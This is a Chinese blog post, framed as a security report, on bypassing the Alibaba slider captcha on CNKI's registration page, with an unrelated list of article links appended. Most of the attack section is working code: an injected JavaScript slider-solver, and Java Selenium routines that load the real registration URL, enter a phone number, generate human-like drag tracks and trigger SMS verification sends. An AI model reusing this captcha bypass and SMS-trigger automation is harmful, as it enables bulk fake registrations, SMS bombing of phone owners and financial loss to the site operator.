当前位置: 首页 > news >正文

【知网CNKI-注册安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 知网CNKI PC 注册入口

简介:CNKI介绍,国家知识基础设施(National Knowledge Infrastructure,NKI)的概念由世界银行《1998年度世界发展报告》提出。1999年3月,以全面打通知识生产、传播、扩散与利用各环节信息通道,打造支持全国各行业知识创新、学习和应用的交流合作平台为总目标,中国知网CNKI启动了中国知识基础设施工程(China National Knowledge Infrastructure,CNKI),得到了全国学术界、教育界、出版界、图书情报界的大力支持和密切配合。

在这里插入图片描述

二、 安全性分析报告:

知网CNKI采用的是阿里的滑动条, 阿里的滑动条设计高度重视用户体验,但安全方面存在一定的设计缺陷,前端将密钥显示出来,造成一定程度的安全漏洞,上报后并未引起重视,漏洞依据存在。
在这里插入图片描述

在这里插入图片描述

三、 测试方法:

前端界面分析,这是阿里的滑动条,网上有一些的教学视频,但形式都差不多,
阿里的滑动条有点像程咬金的三板斧,
1 检测是否是 webdriver (有专门的文章怎么过检)
2 滑动条检测
在这里插入图片描述

滑动条在页面嵌JS 就能过去 
<script>(function () {'use strict';/*** 休眠* [url=home.php?mod=space&uid=952169]@Param[/url] time    休眠时间,单位秒* @param desc* @returns {Promise<unknown>}*/function sleep(time, desc) {return new Promise(resolve => {//sleepsetTimeout(() => {console.log(desc, time, 's')resolve(time)}, Math.floor(time * 1000))})}/*** 监测节点是否存在* @param selector    CSS选择器* @param desc* @returns {Promise<unknown>}*/function obsHas(selector, desc) {return new Promise(resolve => {//obs nodelet timer = setInterval(() => {let target = document.querySelector(selector)if (!!target) {clearInterval(timer)console.log(desc, selector)resolve(selector)} else {return}}, 100)})}function slide(id) {var slider = document.getElementById(id),container = slider.parentNode;var rect = slider.getBoundingClientRect(),x0 = rect.x || rect.left,y0 = rect.y || rect.top,w = container.getBoundingClientRect().width,x1 = x0 + w,y1 = y0;var mousedown = document.createEvent("MouseEvents");mousedown.initMouseEvent("mousedown", true, true, window, 0,x0, y0, x0, y0, false, false, false, false, 0, null);slider.dispatchEvent(mousedown);var mousemove = document.createEvent("MouseEvents");mousemove.initMouseEvent("mousemove", true, true, window, 0,x1, y1, x1, y1, false, false, false, false, 0, null);slider.dispatchEvent(mousemove);}sleep(1,'sleep').then(() => obsHas('.nc_wrapper','has')).then(() => slide('nc_1_n1z'))
})();</script>

1. 模拟器交互

private static String INDEX_URL = "https://my.cnki.net/Register/CommonRegister.aspx";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);			// 输入手机号By phoneBy = By.id("txtMobile");WebElement phoneElemet = ChromeDriverManager.waitElement(driver, phoneBy, 10);phoneElemet.sendKeys(phone);Thread.sleep(1 * 1000);AliClient.moveExec(driver, "nc_2_n1z", 300);// 点击发送短信WebElement sendElemet = driver.findElement(By.id("smsbtn"));sendElemet.click();boolean isAlert = ChromeDriverManager.isAlertPresent(driver);if (isAlert) {driver.switchTo().defaultContent();Thread.sleep(1000);}Thread.sleep(1000);String gtInfo = driver.findElement(By.id("spansms_code")).getText();retEntity.setMsg(gtInfo);if (gtInfo.contains("验证码已发送")) {retEntity.setRet(0);} else {retEntity.setRet(-1);System.out.println("gtInfo=" + gtInfo);}return retEntity;} catch (Exception e) {System.out.println(e.toString());return null;}}

2. 模拟鼠标移动


public static boolean moveExec(WebDriver driver, String moveId, int distance) {try {// 获取滑动按钮WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);Actions actions = new Actions(driver);actions.moveToElement(moveElemet).perform();Thread.sleep(500);List<Integer> trackList = ActionMove.getTrack(distance);actions.clickAndHold(moveElemet).perform();// 按住鼠标左键不释放for (Integer moveInt : trackList) {actions.moveByOffset(moveInt, 0).perform();// 移动}actions.release(moveElemet).perform();// 释放鼠标左键// 滑动结果By langCntBy = By.className("nc-lang-cnt");WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;if (langCntInfo != null && langCntInfo.contains("验证通过")) {return true;} else {System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);return false;}} catch (Exception e) {System.out.println("AliClient.moveExec() e=" + e.toString());return false;}}

3. 轨迹生成(单轴通过)


/*** 根据距离获取滑动轨迹* * @param distance需要移动的距离* @return*/public static List<Integer> getTrack(int distance) {List<Integer> track = new ArrayList<Integer>();// 移动轨迹List<Integer[]> list = getXyTrack(distance);for (Integer[] m : list) {track.add(m[0]);}return track;}/*** 双轴轨道生成算法,主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}

4. 测试返回结果:

在这里插入图片描述

四丶结语

知网作为全国学术界、教育界、出版界、图书情报界的共享平台,打造是国家基础设施,由于收费过高导致很多单位苦知网已经,名符其实的垄断行业,赚的盆满钵满的, 按理技术实力雄厚,但在验证产品方面,不是自己研发而是采用第三方的阿里的滑动条, 阿里的产品由于过度重视用户体验, 简单的滑动条特别,模拟器只需要单轴的模拟轨道就可以通过, 说明阿里对轨迹的校验比较宽松,之前的分析显示,阿里主要是靠模拟器识别,如果这道关过了,就没有其它的防护措施了 。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • C++:filter2D函数简要概述
  • 手撸俄罗斯方块(一)——简单介绍
  • 解决Invalid or unsupported by client SCRAM mechanisms(dbeaver)
  • Golang 基于 archive/zip 包实现文件
  • ontape备份异机还原的样例
  • c++ primer plus 第15章友,异常和其他 15.3.11 有关异常的注意事项
  • SpringBoot新手快速入门系列教程:前述
  • 好看!欢乐!学习快!快来探索《米小圈动画成语》的魅力!
  • Hadoop3:NameNode和DataNode多目录配置(扩充磁盘的技术支持)
  • Android Studio gradle下载失败?!
  • 可视化作品集(11):节能环保能耗领域大展拳脚。
  • 相同含义但不同类型字段作为join条件时注意事项
  • 释放序列和同步
  • 数据库高级操作:分类汇总与排序
  • 心电信号降噪前处理(MATLAB R2018)
  • 【402天】跃迁之路——程序员高效学习方法论探索系列(实验阶段159-2018.03.14)...
  • git 常用命令
  • Hibernate最全面试题
  • JS基础之数据类型、对象、原型、原型链、继承
  • Phpstorm怎样批量删除空行?
  • PHP变量
  • Sass Day-01
  • select2 取值 遍历 设置默认值
  • vue从入门到进阶:计算属性computed与侦听器watch(三)
  • 猫头鹰的深夜翻译:JDK9 NotNullOrElse方法
  • 如何用vue打造一个移动端音乐播放器
  • 学习使用ExpressJS 4.0中的新Router
  • - 转 Ext2.0 form使用实例
  • 3月7日云栖精选夜读 | RSA 2019安全大会:企业资产管理成行业新风向标,云上安全占绝对优势 ...
  • gunicorn工作原理
  • 阿里云API、SDK和CLI应用实践方案
  • 从如何停掉 Promise 链说起
  • ​​​​​​​​​​​​​​Γ函数
  • ​1:1公有云能力整体输出,腾讯云“七剑”下云端
  • ​LeetCode解法汇总1410. HTML 实体解析器
  • ​数据链路层——流量控制可靠传输机制 ​
  • #!/usr/bin/python与#!/usr/bin/env python的区别
  • (12)Linux 常见的三种进程状态
  • (13)Latex:基于ΤΕΧ的自动排版系统——写论文必备
  • (ctrl.obj) : error LNK2038: 检测到“RuntimeLibrary”的不匹配项: 值“MDd_DynamicDebug”不匹配值“
  • (C语言)strcpy与strcpy详解,与模拟实现
  • (done) NLP “bag-of-words“ 方法 (带有二元分类和多元分类两个例子)词袋模型、BoW
  • (Java企业 / 公司项目)点赞业务系统设计-批量查询点赞状态(二)
  • (JSP)EL——优化登录界面,获取对象,获取数据
  • (LNMP) How To Install Linux, nginx, MySQL, PHP
  • (八)Docker网络跨主机通讯vxlan和vlan
  • (草履虫都可以看懂的)PyQt子窗口向主窗口传递参数,主窗口接收子窗口信号、参数。
  • (附源码)springboot炼糖厂地磅全自动控制系统 毕业设计 341357
  • (论文阅读23/100)Hierarchical Convolutional Features for Visual Tracking
  • (七)glDrawArry绘制
  • (十六)视图变换 正交投影 透视投影
  • (转)winform之ListView
  • .JPG图片,各种压缩率下的文件尺寸
  • .NET Compact Framework 多线程环境下的UI异步刷新
  • .NET Core IdentityServer4实战-开篇介绍与规划